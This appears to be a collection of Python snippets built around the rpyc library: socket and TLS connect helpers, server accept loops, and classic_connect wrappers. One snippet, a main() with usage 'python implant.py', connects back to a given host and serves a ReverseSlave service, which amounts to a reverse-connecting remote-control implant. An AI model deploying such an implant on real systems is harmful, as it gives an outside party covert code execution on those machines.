def connect(self, host, port=8002): """ Setup connection to the node via a secure socket. :param host: the node ip. :param port: the port behind which c-simple server runs, default is 8002. """ # To avoid trying to connect without anything set up. if not (os.path.isfile(self.client_cert) and os.path.isfile(self.client_key)): self.gen_certificate(key_length=4096) if not os.path.isfile(self.node_cert): raise Exception('Server certificate is missing. Cannot initiate the connection') try: # Connecting the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setblocking(1) s.connect((host, port)) context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) context.verify_mode = ssl.CERT_REQUIRED context.load_verify_locations(self.node_cert) context.load_cert_chain(self.client_cert, self.client_key) secure_sock = context.wrap_socket(s, server_side=False, server_hostname=host) self.conn = factory.connect_stream(SocketStream(secure_sock), service=VoidService) except ssl.SSLError as e: raise Exception('Could not connect to host {}:{}, getting following ssl error :\n{}'.format(host, port, e))
def connect(self, service=VoidService, config={}): """Same as :func:`~rpyc.utils.factory.connect`, but with the ``host`` and ``port`` parameters fixed""" return rpyc.utils.factory.connect_stream(SocketStream( self._connect_sock()), service=service, config=config)
def _server(listener, remote_service, remote_config, args=None): try: with closing(listener): client = listener.accept()[0] conn = connect_stream(SocketStream(client), service=remote_service, config=remote_config) if isinstance(args, dict): _oldstyle = (MasterService, SlaveService) is_newstyle = isinstance(remote_service, type) and not issubclass( remote_service, _oldstyle) is_newstyle |= not isinstance(remote_service, type) and not isinstance( remote_service, _oldstyle) is_voidservice = isinstance(remote_service, type) and issubclass( remote_service, VoidService) is_voidservice |= not isinstance(remote_service, type) and isinstance( remote_service, VoidService) if is_newstyle and not is_voidservice: conn._local_root.exposed_namespace.update(args) elif not is_voidservice: conn._local_root.namespace.update(args) conn.serve_all() except KeyboardInterrupt: interrupt_main()
def connect(self, service=VoidService, config=None): """Same as :func:`connect <rpyc.utils.factory.connect>`, but with the ``host`` and ``port`` parameters fixed""" config = config or {} stream = SocketStream( self.remote_machine.connect_sock(self.remote_port)) return rpyc.connect_stream(stream, service=service, config=config)
def server(listener=listener): with closing(listener): client = listener.accept()[0] conn = connect_stream(SocketStream(client), service=remote_service, config=remote_config) try: conn.serve_all() except KeyboardInterrupt: interrupt_main()
def classic_connect(self): """Same as :func:`classic.connect <rpyc.utils.classic.connect>`, but with the ``host`` and ``port`` parameters fixed""" if self.local_port is None: # ParamikoMachine stream = SocketStream(self.remote_machine.connect_sock(self.remote_port)) return rpyc.classic.connect_stream(stream) else: return rpyc.classic.connect("localhost", self.local_port)
def connect(self, service = VoidService, config = {}): """Same as :func:`connect <rpyc.utils.factory.connect>`, but with the ``host`` and ``port`` parameters fixed""" if self.local_port is None: # ParamikoMachine stream = SocketStream(self.remote_machine.connect_sock(self.remote_port)) return rpyc.connect_stream(stream, service = service, config = config) else: return rpyc.connect("localhost", self.local_port, service = service, config = config)
def server(listener=listener, args=args): with closing(listener): client = listener.accept()[0] conn = connect_stream(SocketStream(client), service=remote_service, config=remote_config) try: for k in args: conn._local_root.exposed_namespace[k] = args[k] conn.serve_all() except KeyboardInterrupt: interrupt_main()
def main(): if len(sys.argv) == 2: host, port = sys.argv[1].split(":") try: s = SSLClient().connect(host, int(port)) conn = connect_stream(SocketStream(s), ReverseSlave, {}) while True: conn.serve_all() except KeyboardInterrupt: pass except Exception as e: print e else: print "usage: python implant.py 127.0.0.1:8080"
def classic_connect(self): """Same as :func:`classic.connect <rpyc.utils.classic.connect>`, but with the ``host`` and ``port`` parameters fixed""" return rpyc.utils.classic.connect_stream( SocketStream(self._connect_sock()))